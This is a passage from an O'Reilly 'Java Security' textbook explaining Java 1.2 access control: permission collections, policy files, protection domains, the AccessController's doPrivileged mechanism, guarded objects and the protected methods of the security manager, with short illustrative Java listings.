        addedAdmin = false;
    }

    public void add(Permission p) {
        if (!(p instanceof XYZPayrollPermission))
            throw new IllegalArgumentException(
                                    "Wrong permission type");
        XYZPayrollPermission xyz = (XYZPayrollPermission) p;
        String name = xyz.getName();
        XYZPayrollPermission other =
                        (XYZPayrollPermission) permissions.get(name);
        if (other != null)
            xyz = merge(xyz, other);
        if (name.equals("*")) {
            addedAdmin = true;
            adminMask = xyz.mask;
        }
        permissions.put(name, xyz);
    }

    public Enumeration elements() {
        return permissions.elements();
    }

    public boolean implies(Permission p) {
        if (!(p instanceof XYZPayrollPermission))
            return false;
        XYZPayrollPermission xyz = (XYZPayrollPermission) p;
        if (addedAdmin && (adminMask & xyz.mask) == xyz.mask)
            return true;
        Permission inTable = (Permission)
                                permissions.get(xyz.getName());
        if (inTable == null)
            return false;
        return inTable.implies(xyz);
    }

    private XYZPayrollPermission
                merge(XYZPayrollPermission a, XYZPayrollPermission b) {
        String aAction = a.getActions();
        if (aAction.equals(""))
            return b;
        String bAction = b.getActions();
        if (bAction.equals(""))
            return a;
        return new XYZPayrollPermission(a.getName(),
                                    aAction + "," + bAction);
    }
}

Note the logic within the implies() method--it's the important part of this example. The implies() method must test each permission in the hashtable (or whatever other container you've used to store the added permissions), but it should do so efficiently. We could always call the implies() method of each entry in the hashtable, but that would clearly not be efficient--it's better to call only the implies() method on a permission in the table that has a matching name.

The only trick is that we won't find a matching name if we're doing wildcard pattern matching--if we've added the name "*" to the table, we'll always want to return true, even though looking up the name "John Smith" in the table will not return the administrative entry. Implementing this wildcard pattern matching efficiently is the key to writing a good permission collection.

When you use (or subclass) one of the concrete permission classes that we listed earlier, there is no need to provide a permission collection class--all concrete implementations provide their own collection. In addition, there are two other cases when you do not need to implement a permission collection:

  • When you extend the Permission class, but do not do wildcard pattern matching.

    Hidden internally within the Java API is a PermissionsHash class, which is the default permission collection class for permission objects. The Permissions-Hash class stores the aggregated permissions in a hashtable, so the implementations of its add() and elements() methods are straightforward. The implementation of its implies() method is based on looking up the name of the permission parameter in the hashtable collection: if an entry is found, then the implies() method is called on that entry.

  • When you extend the BasicPermission class and do not provide support for actions.

    The newPermissionClass() method of the BasicPermission class will provide a permission collection that handles wildcard pattern matching correctly (and efficiently).

If you implement your own PermissionCollection class, you must keep track of whether it has been marked as read-only. There are two methods invlolved in this:

public boolean isReadOnly() figure

Return an indication of whether the collection has been marked as read-only.

public void setReadOnly() figure

Set the collection to be read-only. Once the read-only flag has been set, it cannot be unset: the collection will remain read-only forever.

A permission collection is expected to throw a security exception from its add() method if it has been marked as read-only. Note that the read-only instance variable is private to the PermissionCollection class, so subclasses will have to rely on the isReadOnly() method to test its value.

5.2.6. The Permissions Class

So far, we've spoken about permission collections as homogeneous collections: all permissions in the XYZPayrollPermissionCollection class are instances of the XYZPayrollPermission class; a similar property holds for other permission collections. This idea simplifies the implies() method that we showed above. But to be truly useful, a permission collection needs to be heterogeneous, so it can represent all the permissions a program should have. A permission collection really needs to be able to contain file permissions, socket permissions, and other types of permissions.

This idea is present within the PermissionCollection class; conceptually, however, it is best to think of heterogeneous collections of permissions as encapsulated by the Permissions class (java.security.Permissions):

public final class Permissions extends PermissionCollection

Implement the PermissionCollection class. This class allows you to create a heterogeneous collection of permissions: the permission objects that are added to this collection need not have the same type.

This class contains a concrete implementation of a permission collection that organizes the aggregated permissions in terms of their individual, homogenous permission collections. You can think of a permissions object as containing an aggregation of permission collections, each of which contains an aggregation of individual permissions.

For example, let's consider an empty permissions object. When a file permission is added to this object, the permissions object will call the newPermissionCollection() method on the file permission to get a homogeneous file permission collection object. The file permission is then stored within this file permission collection. When another file permission is added to the permissions object, the permissions object will place that file permission into the already existing file permission collection object. When a payroll permission object is added to the permissions object, a new payroll permission collection will be obtained, the payroll permission added to it, and the collection added to the permissions object. This process will continue, and the permissions object will build up a set of permission collections.

When the implies() method of the permissions object is called, it will search its set of permission collections for a collection that can hold the given permission. It can then call the implies() method on that (homogenous) collection to obtain the correct answer.

The Permissions class thus supports any arbitrary grouping of permissions. There is no need to develop your own permission collection to handle heterogeneous groups.

Previous | Home | Next
5.1. The CodeSource Class | Book Index | 5.3. The Policy Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Policy Class (Java Security)

 Java Security Search this book

5.3. The Policy Class

The third building block for the access controller is the facility to specify which permissions should apply to which code sources. We call this global set of permissions the security policy; it is encapsulated by the Policy class (java.security.Policy).

public abstract class Policy figure

Establish the security policy for a Java program. The policy encapsulates a mapping between code sources and permission objects in such a way that classes loaded from particular locations or signed by specific individuals have the set of specified permissions.

A policy class is constructed as follows:

public Policy() figure

Create a policy class. The constructor should initialize the policy object according to its internal rules (e.g., by reading the java.policy file, as we'll describe later).

Like the security manager, only a single instance of the policy class can be installed in the virtual machine at any time. However, unlike the security manager, the actual instance of the policy class can be replaced. These two methods install and retrieve the policy:

public static Policy getPolicy() figure

Return the currently installed policy object.

public static void setPolicy(Policy p) figure

Install the given policy object, replacing whatever policy object was previously installed.

Getting and setting the policy object requires going through the checkProperty() method of the security manager. By default, this succeeds only if you already have been granted a security permission with the name of getPolicy or setPolicy (as appropriate). There's a bootstrapping issue involved when setting the policy, since granting permissions requires the policy to have been set. Hence, the initial policy is typically set by a class in the core API, as those classes always have permission to perform any operation.

There are two other methods in the Policy class:

public abstract Permissions getPermissions(CodeSource cs) figure

Create a permissions object that contains the set of permissions that should be granted to classes that came from the given code source (i.e., loaded from the code source's URL and signed by the keys in the code source).

public abstract void refresh() figure

Refresh the policy object. For example, if the initial policy came from a file, re-read the file and install a new policy object based on the (presumably changed) information from the file.

In programmatic terms, writing a policy class involves implementing these methods. The default policy class is provided by the PolicyFile class (sun.security.provider.PolicyFile), which constructs permissions based on information found in a file on the user's local disk (a process we're just about to examine).

Unfortunately, the PolicyFile class that parses that file and builds up the set of permissions is a file in the sun package class; it is not accessible to us as programmers. Hence, while it's possible to write your own Policy class, it is a fairly involved process. You might want to write your own Policy class if you want to define a set of permissions through some other mechanism than a URL (e.g., loading the permissions via a policy server database). That implementation is fairly straightforward: you need only provide a mechanism to map code sources to a set of permissions. Then, for each code source, construct each of the individual permission objects and aggregate them into a permissions object to be returned by the getPermissions() method.

Property Expansion and the Policy Class

You'll notice an unusual syntax in the list of policy properties in the java.security file: ${foo.bar}. This syntax uses property substitution to fill in the given target; for example, the string ${user.home} might expand to /home/sdo on my Unix desktop machine and to C:\ on my Windows desktop machine. As you might have guessed, the string ${/} expands to the file separator character on the platform that is reading the file.

This property substitution allows us to use one set of configuration files no matter what the underlying platform, since we can use standard Java properties to hide those platform-specific details. This is particularly important when specifying filenames for file permissions in a policy file.

If the policy.expandProperties property in the java.security file is set to false, however, substitution will not occur and these strings should not be used. If they are used, they will be treated as literal strings and fail.

5.3.1. The Default Policy

The Policy and PolicyFile classes give system administrators or end users the ability to define in a file a security policy for any Java program; this allows changes to the security model for the program without modifying the program's code. The policy that you can specify in this file is extremely flexible, since it's based on the permission model we examined earlier. If you want a Java program to be able to read a single directory, you can specify the appropriate file permission in the policy file. If you want a Java program to be able to connect to particular hosts on the network, you can specify the appropriate socket permissions in the policy file. And if you want a Java program to be able to administer payroll records, you can specify the appropriate payroll permissions in the policy file.

By default, the policy for a Java program is read from two locations, but this is controlled by the system security file. This file is a set of properties that apply to the security package in general; it is named $JAVAHOME/lib/security/java.security.

In terms of the Policy class, here are the relevant entries in the java.security file:

Class Definition

policy.provider=sun.security.provider.PolicyFile
policy.expandProperties=true
policy.allowSystemProperty=true
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy

The first of these properties defines the class that should be instantiated to provide the initial instance of the Policy class: in this case, the PolicyFile class (which implements the behavior we're now describing). Here's the algorithm that the PolicyFile class uses to read in policy files. The entire set of entries in the resulting policy is composed of all the specific entries read from all of the following files:

  1. If the policy.allowSystemProperty property in the java.security file is set to true (which it is by default), then the first file to be read is a file specified on the command line with the -Djava.security.policy argument, which must be used with the -Djava.security.manager option. For example, the following command would first load the policy file from /globalfiles/java.policy:

    Class Definition

    piccolo% java -Djava.security.manager \
          -Djava.security.policy=/globalfiles/java.policy Cat /etc/passwd

    If the policy.allowSystemProperty property is set to false, then the -Djava.security.manager file will be ignored. On the other hand, if this property is set to true and the filename given as the -Djava.security.manager argument begins with an equals sign:

    Class Definition

    piccolo% java -Djava.security.manager \
          -Djava.security.policy==/globalfiles/java.policy Cat /etc/passwd

    then the given file is the only policy file that will be read (and hence the only file that will define permissions).

    Note that you may also specify the -Djava.security.manager flag with no additional arguments, in which case the policy files from the java.security file (see the next step) are used and no additional files are consulted:

    Class Definition

    piccolo% java -Djava.security.manager Cat /etc/passwd

    This last example is the typical usage. Any of these examples set up the default sandbox for us in Java 1.2--the parameters of this sandbox are defined by the entries in the policy file.

  2. Next, the PolicyFile class looks for properties of the form policy.url.n where n is an integer starting with 1. As it finds each property, it reads in the policy from the given URL; in the default set of properties we listed above, this means that the first URL to be read is the java.policy file in the $JAVAHOME/lib/security directory and the second URL to be read is the .java.policy file in the user's home directory. You may specify as many or as few of these URLs as desired, but they must be numbered consecutively starting with 1.

  3. If no files have been loaded (because there was no -Djava.security.policy argument and there were no policy.url properties), then an internal static set of permissions is loaded (which is the same set of permissions defined by the default java.policy file we list below).

The policy files are designed to map code sources to sets of permissions. For example, this entry:

Class Definition

grant codeBase http://www.xyz.com/ {
    permission java.io.FilePermssion "${user.home}${/}docs${/}-",
                                                         "read, write, delete";
};

means that any code loaded from the top-level directory of www.xyz.com is granted permission to use any files under the user's docs directory. The code base in this case is used to construct a code source with no public keys.

The above example is one case of a policy entry, also called a grant entry, and a policy file is a collection of policy entries. Each entry is specific to one code source and should list all the permissions for that code source--but a single policy file can have several entries and thus work effectively for code that originated from multiple sources. The syntax of a policy entry is as follows:

Class Definition

grant [signedBy <signer>] [, codeBase <code source>] {
        permission <class> [<name> [, <action list>]];
        ...
        permission <class> [<name> [, <action list>]];
};

As indicated by the bracket syntax, the signedBy and codeBase entries are optional. If both are missing, the list of permissions applies to a class with any code source. The signer entry should be a name that matches an entry in the system's key management system--a concept we'll explore in Chapter 11, "Key Management". The codeBase should be the URL that applies to the location from which the classes were loaded--including a file-based or HTTP-based URL.

Note that omitting the signedBy and codeBase fields in the policy file means that the given permissions should apply to all code sources. It does not mean that the listed permissions should apply only to classes that had a code source with no URL and no public key. This point about the code source is important: permissions given within the policy file apply only to classes that have a code source. Classes that are loaded by the primordial class loader do not have a code source--these classes are given permission to perform any operation. Hence, the Java API itself has no restrictions placed upon what operations it may perform.

The permissions themselves should have the fully package-qualified class name for the permission--including any permission classes (like the XYZPayrollPermission class) that you may have defined for your own application. The name will be used to construct the permission, along with the action list (if present). An internal (private) method of the PolicyFile class is used to construct the permission object; this method expects to find a constructor that takes both a name and an action. If the action is not present, then null will be passed to the constructor. This requirement forces you to include a constructor with both arguments in all your permission classes, including those that are extensions of the BasicPermission class.

Here's the default policy file that comes with the Java 1.2. This is the system security file (i.e., the one loaded from $JAVAHOME/lib/security/java.policy); there is no default file for each user. This is also the set that will be loaded when no policy files are found:

Class Definition

// Standard extensions get all permissions by default
grant codeBase "file:${java.home}/lib/ext/" {
    permission java.security.AllPermission;
};

// default permissions granted to all domains
grant {
    // allows anyone to listen on un-privileged ports
    permission java.net.SocketPermission "localhost:1024-", "listen";

    // "standard" properies that can be read by anyone
    permission java.util.PropertyPermission "java.version", "read";
    permission java.util.PropertyPermission "java.vendor", "read";
    permission java.util.PropertyPermission "java.vendor.url", "read";
    permission java.util.PropertyPermission
                                "java.class.version", "read";
    permission java.util.PropertyPermission "os.name", "read";
    permission java.util.PropertyPermission "os.version", "read";
    permission java.util.PropertyPermission "os.arch", "read";
    permission java.util.PropertyPermission "file.separator", "read";
    permission java.util.PropertyPermission "path.separator", "read";
    permission java.util.PropertyPermission "line.separator", "read";

    permission java.util.PropertyPermission
                                "java.specification.version", "read";
    permission java.util.PropertyPermission
                                "java.specification.vendor", "read";
    permission java.util.PropertyPermission
                                "java.specification.name", "read";

    permission java.util.PropertyPermission
                            "java.vm.specification.version", "read";
    permission java.util.PropertyPermission
                            "java.vm.specification.vendor", "read";
    permission java.util.PropertyPermission
                            "java.vm.specification.name", "read";
    permission java.util.PropertyPermission "java.vm.version", "read";
    permission java.util.PropertyPermission "java.vm.vendor", "read";
    permission java.util.PropertyPermission "java.vm.name", "read";
    permission java.lang.RuntimePermission "stopThread";
};

When you use this policy file, then, all classes that are loaded from the Java extensions directory will be granted all permissions. All other non-system classes will have read access to the system properties listed as well as being able to listen on a socket with a port number of 1024 or greater (which means that the class will be able to create a server socket on an unprivileged port). All other classes will also be able to call the stop() method on a thread.

A policy file may contain an additional entry:

Class Definition

keystore ".keystore";

This entry specifies the name of the URL that will be used to process the keystore in which public keys for the signers listed in the policy file should be found. This entry is missing from the default policy file, as it does not contain any entries that are signed. The name of this file is relative to the URL that was used to load the file; if the policy.url property was file:/${user.home}/.java.policy, the URL to load the keystore will be file:/${user.home}/.keystore. The keystore entry may be an absolute URL if desired.

Policy files may be constructed by hand, or you may use the policytool application that comes with the JDK to administer those files (see Appendix A, "Security Tools").

Previous | Home | Next
5.2. Permissions | Book Index | 5.4. Protection Domains
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Protection Domains (Java Security)

 Java Security Search this book

5.4. Protection Domains

A protection domain is a grouping of a code source and permissions--that is, a protection domain represents all the permissions that are granted to a particular code source. In the default implementation of the Policy class, a protection domain is one grant entry in the file. A protection domain is an instance of the ProtectionDomain class (java.security.ProtectionDomain) and is constructed as follows:

public ProtectionDomain(CodeSource cs, PermissionCollection p) figure

Construct a protection domain based on the given code source and set of permissions.

When associated with a class, a protection domain means that the given class was loaded from the site specified in the code source, was signed by the public keys specified in the code source, and should have permission to perform the set of operations represented in the permission collection object. Each class in the virtual machine may belong to one and only one protection domain, which is set by the class loader when the class is defined.

However, not all class loaders have a specific protection domain associated with them: classes that are loaded by the primordial class loader have no protection domain. In particular, this means that classes that exist as part of the system class path (that is, the Java API classes) have no explicit protection domain. We can think of these classes as belonging to the system protection domain.

A protection domain is set for a class inside the defineClass() method. A protection domain is assigned to a class depending upon one of the following cases:

  • The defineClass() method accepts a protection domain as a parameter. In this case, the given protection domain is assigned to the class. This case is typically unused, since that method exists in only the ClassLoader class and not in the SecureClassLoader class.

  • The defineClass() method accepts a code source as a parameter. In this case, the getPermissions() method of the SecureClassLoader is used to determine the protection domain for the code source. By default, this just uses the getPermissions() class of the Policy class to find the permissions that are defined for the given code base. A secure class loader (including a URL class loader) has the option of overriding the getPermissions() method to enhance the permissions a particular class might have. We'll see an example of this in Chapter 6, "Implementing Security Policies", when we discuss network permissions in the class loader.

  • The defineClass() method accepts neither of these parameters. In this case, a protection domain is defined based on a code source with null parameters and a set of permissions that have been defined by the system's security policy (retrieved with the getPermissions() method). This case will include the default grant entry we listed earlier.

There are three utility methods of the ProtectionDomain class:

public CodeSource getCodeSource() figure

Return the code source that was used to construct this protection domain.

public PermissionCollection getPermissions() figure

Return the permission collection object that was used to construct this protection domain.

public boolean implies(Permission p) figure

Indicate whether the given permission is implied by the permissions object contained in this protection domain.

Previous | Home | Next
5.3. The Policy Class | Book Index | 5.5. The AccessController Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The AccessController Class (Java Security)

 Java Security Search this book

5.5. The AccessController Class

Now we have all the pieces in place to discuss the mechanics of the access controller. The access controller is represented by a single class called, conveniently, AccessController. There are no instances of the AccessController class (java.security.AccessController)--its constructor is private, so that it cannot be instantiated. Instead, this class has a number of static methods that can be called in order to determine if a particular operation should succeed. The key method of this class takes a particular permission and determines, based on the installed Policy object, whether or not the permission should be granted:

public static void checkPermission(Permission p) figure

Check the given permission against the policy in place for the program. If the permission is granted, this method returns normally; otherwise, it throws an AccessControlException.

We can use this method to determine whether or not a specified operation should be permitted:

Class Definition

public class AccessTest extends Applet {
    public void init() {
        SocketPermission sp = new SocketPermission(
                            getParameter("host") + ":6000", "connect");
        try {
            AccessController.checkPermission(sp);
            System.out.println("Ok to open socket");
        } catch (AccessControlException ace) {
            System.out.println(ace);
        }
    }
}

Whether the access controller allows or rejects a given permission depends upon the set of protection domains that are on the stack when the access controller is called. Figure 5-2 shows the stack that might be in place when the init() method of the AccessTest applet is called. In the appletviewer, an applet is run in a separate thread--so the bottom method on the stack is the run() method of the Thread class.[2] That run() method has called the run() method of the AppletPanel class. This second run() method has done several things prior to calling the init() method: it first created an HTTP-based class loader (from an internal class that is a subclass of the URLClassLoader class) and has used that class loader to load the AccessTest class. It then instantiated an instance of the AccessTest class and called the init() method on that object. This left us with the stack shown in the figure--the run() method of the Thread class has called the run() method of the AppletPanel class, which has called the init() method of the AccessTest class, which has called the checkPermission() method of the AccessController class.

[2]In fact, the run() method is always the bottom method on a stack, since stacks apply on a per-thread basis.

Figure 5-2. The stack and protection domains of a method

The reason we need to know the stack trace of the current thread is to examine the protection domains that are on the stack. In this example, only the AccessTest class has been loaded by a class loader: the AppletPanel class and the Thread class were loaded from the core API with the primordial class loader. Hence, only the AccessTest class has a nonsystem protection domain (associated with the URL from which we loaded it, http://piccolo/ in this case).

The permissions for any particular operation can be considered to be the intersection of all permissions of each protection domain on the stack when the checkPermission() method is called. When the checkPermission() method is called, it checks the permissions associated with the protection domain for each method on the stack. It does this starting at the top of the stack, and proceeding through each class on the stack.

If this entry appeared in the policy file:

Class Definition

grant codeBase http://piccolo/ {
    permission java.net.SocketPermission "*:1024-", "connect";
}

the protection domain that applies to the AccessTest class will have permission to open the socket. Remember that the system domain implicitly has permission to perform any operation; as there are no other nonsystem protection domains associated with any class on the stack, the checkPermission() method will permit this operation--which is to say that it will silently return.

For most implementations of Java browsers, and many Java applications, there will only be a single nonsystem protection domain on the stack: all the classes for the applet will have come from a single CODEBASE (and hence a single protection domain). But the checkPermission() method is more general than that, and if you use a class loader that performs delegation, there will be multiple protection domains on the stack. This is a common occurrence if you're using a Java extension.

Let's say that you've written a payroll application that uses a class loader that loads classes from two sources: the server in the XYZ HR department and the server in the XYZ network services department.[3] This might lead to a call to the checkPermission() method with the stack shown in Figure 5-3. Note that this stack trace is a little more complicated than the one we've just shown--in this case, we're relying on the fact that the constructor of the Socket class will (indirectly) call the access controller. That is what actually happens, and we'll explore that process in our next chapter. For now, we'll just accept the fact that this is the correct stack trace.

[3]We showed this example and class loaders to implement it in Chapter 3, "Java Class Loaders".

Figure 5-3. A stack with multiple nonsystem protection domains

In this example, the access controller first checks the protection domain for the Network class to see if a class loaded from http://network.xyz.com/ is allowed to connect to the socket. If that succeeds, it then checks the protection domain of the PayrollApp class to see if a class loaded from http://hr.xyz.com/ is allowed to connect to a the socket. Only if both code sources are granted permission in the policy file (either individually or via an entry that does not specify a code base at all) does the checkPermission() method succeed.

Whether or not this is the appropriate behavior depends upon your intent. Let's say that the policy file for the payroll application specifies that classes with a code base of http://network.xyz.com/ are allowed to create sockets, but that no other protection domains (other than the system protection domain, of course) are granted that permission. That leads to the situation where a class from the network services department might not be able to open a socket (even though it has that permission in the file): if there is any class in the HR protection domain on the stack, the operation will fail. All classes on the stack must have permission for an operation to succeed.

Often, however, you want a class to be temporarily given the ability to perform an action on behalf of a class that might not normally have that ability. In this case, we might want to establish a policy where the classes from the HR department cannot create a socket directly, but where they can call classes from the network services department that can create a socket.[4] In this case, you want to tell the access controller to grant (temporarily) the permissions of the network services department to any methods that it might call within the current thread.

[4]Consider this in terms of writing a file: an applet might not be able to write a file, but it can call a method of the JDK to play audio data--which means that the JDK class must write to the audio device file.

That facility is possible with these two methods of the access controller class:

public static Object doPrivileged(PrivilegedAction pa) figure
public static Object doPrivileged(PrivilegedExceptionAction pae) figure

Execute the run() method on any given object, temporarily granting its permission to any protection domains below it on the stack. In the second case, if the embedded run() method throws an exception, the doPrivileged() method will throw a PrivilegedActionException.

The PrivilegedAction and PrivilegedExceptionAction interfaces contain a single method:

public Object run() figure

Run the target code, which will have the permissions of the calling class.

The difference between the two interfaces is that the run() method in the PrivilegedExceptionAction interface may throw an arbitrary exception. Note the unfortunate overloading between this method and the run() method of the Thread class and Runnable interface, which return void; a class cannot implement both the Runnable and PrivilegedAction interfaces.

The PrivilegedActionException class is a standard exception, so you must always be prepared to catch it when using the doPrivileged() method. If the embedded run() method does throw an exception, that exception will be wrapped into the PrivilegedActionException, where it may be retrieved with this call:

public Exception getException()

Return the exception that was originally thrown to cause the PrivilegedActionException to be thrown.

Let's see how all of this might work with our network monitor example:

Class Definition

public class NetworkMonitor {
    public NetworkMonitor() {
        try {
            class doSocket implements PrivilegedExceptionAction {
                public Object run() throws UnknownHostException,
                                     IOException {
                    return new Socket("net.xyz.com", 4000);
                }
            };
            doSocket ds = new doSocket();
            Socket s = (Socket) AccessContoller.doPrivileged(ds);
        } catch (PrivilegedActionException pae) {
            Exception e = pae.getException();
            if (e instanceof UnknownHostException) {
                // process host exception
            }
            else if (e instanceof IOException {
                // process IOException
            }
            else {
                // e must be a runtime exception
                throw (RuntimeException) e;
            }
        }
    }
}

Two points are noteworthy here. First, the code that needs to be executed with the privileges of the NetworkMonitor class has been encapsulated into a new class -- the inner doSocket() class.

Second, the exception handling is somewhat new: we must list the exceptions that the socket constructor can throw in the run() method of our embedded class. If either of those exceptions is thrown, it will be encapsulated into a PrivilegedActionException and thrown back to the network monitor, where we can retrieve the actual exception with the getException() method.

Let's examine the effect this call has on the access controller. The access controller begins the same way, by examining the protection domains associated with each method on the stack. But this time, rather than searching every class on the stack, the access controller stops searching the stack when it reaches the class that has called the doPrivileged() method. In the case of Figure 5-3, this means that the access controller does not continue searching the stack after the NetworkMonitor class, so as long as the policy file has a valid entry for the http://network.xyz.com/ code base, the monitor will be able to create its socket.

There's an important (but subtle) distinction to be made here: the doPrivileged() method does not suddenly establish a global permission based on the protection domain of the class that called it. Rather, it specifies a stopping point as the access controller searches the list of protection domains on the stack. In the previous example, we assumed that http://network.xyz.com/ had permission to open the socket. When the access controller searched the protection domains on the stack, it first reached the protection domain associated with http://network.xyz.com/. Since that domain had been marked as the privileged domain, the access controller returned at that point: it never got to the point on the stack where it would have checked (and rejected) the protection domain associated with http://hr.xyz.com/.

Now consider what would happen if the permissions given to these protection domains were reversed; that is, if the http://network.xyz.com/ protection domain is not given permission to open the socket, but the http://hr.xyz.com/ protection domain is. We might be tempted to write the PayrollApp class (knowing that it will have permission to open the socket) like this:

Class Definition

public class PayrollApp {
    NetworkMonitor nm;
    public void init() {
        class doInit implements PrivilegedAction {
            public void run() {
                nm = new NetworkMonitor();
            }
        }
        doInit di = new doInit();
        AccessController.doPrivileged(di);
    }
}

When the code within the Socket constructor calls the checkPermission() method, the access controller searches the same stack shown in Figure 5-3. When the access controller reaches the protection domain associated with http://network.xyz.com, it immediately throws an AccessControlException, because that protection domain does not have permission to open sockets. Even though a protection domain lower in the stack does have such a permission, and even though that protection domain has called the doPrivileged() method of the access controller, the operation is rejected when the access controller finds a protection domain that does not have the correct permission assigned to it.

This means that a protection domain can grant privileges to code that has called it, but it cannot grant privileges to code that it calls. This rule permits key operations of the Java virtual machine; if, for example, your nonprivileged class calls the Java API to play an audio clip, the Java API will grant permission to the calling code to write data to the audio device on the machine. When you write your own applications, however, it's important to realize that the permission granting goes only one way.

Previous | Home | Next
5.4. Protection Domains | Book Index | 5.6. Guarded Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Guarded Objects (Java Security)

 Java Security Search this book

5.6. Guarded Objects

The notion of permissions and the access controller can be encapsulated into a single object: a guarded object, which is implemented by the GuardedObject class (java.security.GuardedObject). This class allows you to embed another object within it in such a way that all access to the object will first have to go through a guard (which, typically, is the access controller).

There are two methods in the GuardedObject class:

public GuardedObject(Object o, Guard g) figure

Create a guarded object. The given object is embedded within the guarded object; access to the embedded object will not be granted unless the guard allows it.

public Object getObject() figure

Return the embedded object. The checkGuard() method of the guard is first called; if the guard prohibits access to the embedded object, an AccessControlException will be thrown. Otherwise, the embedded object is returned.

The guard can be any class that implements the Guard interface (java.security.Guard). This interface has a single method:

public void checkGuard(Object o) figure

See if access to the given object should be granted. If access is not granted, this method should throw an AccessControlException; otherwise it should silently return.

Although you can write your own guards, the Permission class already implements the guard interface. Hence, any permission can be used to guard an object as follows:

Class Definition

public class GuardTest {
    public static void main(String args[]) {
        GuardedObject go = new GuardedObject(new XYZPayrollRequest(),
                         new XYZPayrollPermission("sdo", "view"));
        try {
            Object o = go.getObject();
            System.out.println("Got access to object");
        } catch (AccessControlException ace) {
            System.out.println("Can't access object");
        }
    }
}

When the getObject() method is called, it in turn calls the checkGuard() method of the XYZPayrollPermission class, which (as it inherits from the Permission class) will call the checkPermission() method of the access controller, passing the XYZ payroll request object as an argument.

Previous | Home | Next
5.5. The AccessController Class | Book Index | 5.7. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

5.7. Summary

In this chapter, we've looked at Java's access control mechanism. The access controller is the most powerful security feature of the Java platform: it protects most of the vital resources on a user's machine, and it allows users (or system administrators) to customize the security policy of a particular application simply by modifying entries in the java.policy (and/or other similar) files.

The access controller is able to control access to a well-established set of system resources (files, sockets, etc.), but it is extensible as well: you can create your own permission classes that the access controller can use in order to grant or to deny access to any resource that you like.

In the next chapter, we'll look into more details of implementing a security policy, including the important relationship between the access controller and the security manager. And, because the access controller is only available with Java 1.2, we'll look at how the security manager can be used to implement a security policy in earlier releases of Java as well.

Previous | Home | Next
5.6. Guarded Objects | Book Index | 6. Implementing Security Policies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing Security Policies (Java Security)

 Java Security Search this book

Chapter 6. Implementing Security Policies

Contents:

Protected Methods of the Security Manager
Security Managers and the Class Loader
Implementation Techniques
Running Secure Applications
Summary

In Chapter 4, "The Security Manager Class", we examined the security manager in the context of existing implementations of the security manager for use in Java-enabled browsers; we followed that with a discussion of the access control mechanism and Java's ability to define access policies.

In this chapter, we'll put that information together and look at how the security manager is actually implemented, and how you can implement your own security manager. There are three times when it's important to write your own security manager:

In an RMI server

RMI wants you to provide a security manager for all RMI servers; for RMI servers that load client classes, a security manager is required. There is a default RMI security manager that you may use for this purpose, or you may write your own.

In a customized browser

If you're writing your own Java-enabled browser, you'll want to provide a security manager. In addition, if you're using an existing browser, you may want to use a different security manager in that browser. Some browsers already allow the user to specify a different security manager via a property; other browsers can be licensed for this type of customization.

In a Java application

If you download, install, and run Java applications on your machine, you may want to provide a security manager to protect your system against those applications the same way that it is protected against Java applets. In Java 1.1 and earlier releases, this requires you to write a security manager. In Java 1.2,[1] you can use the access control mechanism instead of writing a complete security manager. However, even in Java 1.2 you may need to write your own security manager in certain circumstances. There are methods (like the getThreadGroup() method) of the security manager that are outside the scope of the access controller, and there are certain types of permissions (like those typically given to the checkConnect() method) that cannot be specified in a java.policy file.

[1]1.2 is now Java 2.

Access Control and the Security Manager

When the access controller was introduced into Java 1.2, it made a big difference to the role of the security manager. Previously, the security manager was paramount in allowing or rejecting operations on files and sockets and other system resources. In Java 1.2, the security manager began to defer permission checking to the access controller.

However, the security manager remains an important interface to system security . The Java API still calls the methods of the security manager to enforce system security--and now most of these methods call the access controller. This allows for upward compatibility--if you wrote a 1.1-based security manager that implements your desired security policy, you can still use that security manager with Java 1.2; your program will run exactly the same as it used to. In this case, you needn't worry about policy files and code sources and secure class loaders--the security model that you've already encapsulated into your security manager will be respected.

6.1. Protected Methods of the Security Manager

We've often said that the distinction between trusted and untrusted code has its roots in information that the security manager must obtain from the class loader. There are two ways in which this happens: through a set of generic methods of the SecurityManager class that inform the security manager about the state of the class loader, and through an agreed-upon interface between the security manager and the class loader. We'll look at the first of these mechanisms in this section, and we'll discuss the second mechanism later when we actually develop a security manager.

The use of these protected methods is vital in Java 1.1 and previous releases. In Java 1.2, they are much less important--some of them have even been deprecated. This is not surprising, since the access controller now gives us much of the information that initially could only be obtained from the class loader. We'll give a complete overview of these methods here, although it is information that you'll only need to complete a 1.1-based security manager.

The methods of the security manager that provide us with generic information about the class loader are all protected methods of the security manager class; they are summarized in Table 6-1.

Table 6-1. Protected Methods of the Security Manager Class

Method

Purpose

Class Definition

getClassContext()

Return all the classes on the stack to see who has called us

Class Definition

currentClassLoader()

Return the most recent class loader

Class Definition

currentLoadedClass()

Return the class that was most recently loaded with a class loader

Class Definition

classLoaderDepth()

Return the depth in the call stack where the most recent class loader was found

Class Definition

classDepth()

Return the depth in the call stack of the given class

Class Definition

inClass()

Return true if the given class is on the stack

Class Definition

inClassLoader()

Return true if any class on the stack came from a class loader

protected native Class[] getClassContext()

Return an array of all classes on the stack of the currently executing thread.

The first such method we'll discuss lets us retrieve all the classes involved in making the current call to the security manager. This method itself is rarely used in a security manager, but it is the basis for many of the methods we'll discuss in this section.

The getClassContext() method returns an array of Class objects in the order of the call stack for the current method. The first element of the array is always the Class object for the security manager class, the second element is the Class object for the method that called the security manager, and so on.

Accessing all the classes in this array is one way to determine whether the call originally came from code that is in the Java API or whether it came from other code. For example, we could put the following method into our custom security manager:

Class Definition

public class MySecurityManager extends SecurityManager {
    public void checkRead(String s) {
        Class c[] = getClassContext();
        for (int i = 0; i < c.length; i++) {
            String name = c.getName();
            System.out.println(name);
        }
    }
}

If we then try to create a FileReader object:

Class Definition

public class Test {
    public static void main(String args[]) {
        FileReader f = new FileReader("/etc/passwd");
    }
}

we see the following output from the checkRead() method:

Class Definition

MySecurityManager
java.io.FileInputStream
java.io.FileReader
Test

In other words, a method in the Test class invoked a method in the FileReader class, which invoked a method in the File InputStream class, which invoked a method (the checkRead() method, in fact) in the MySecurityManager class.

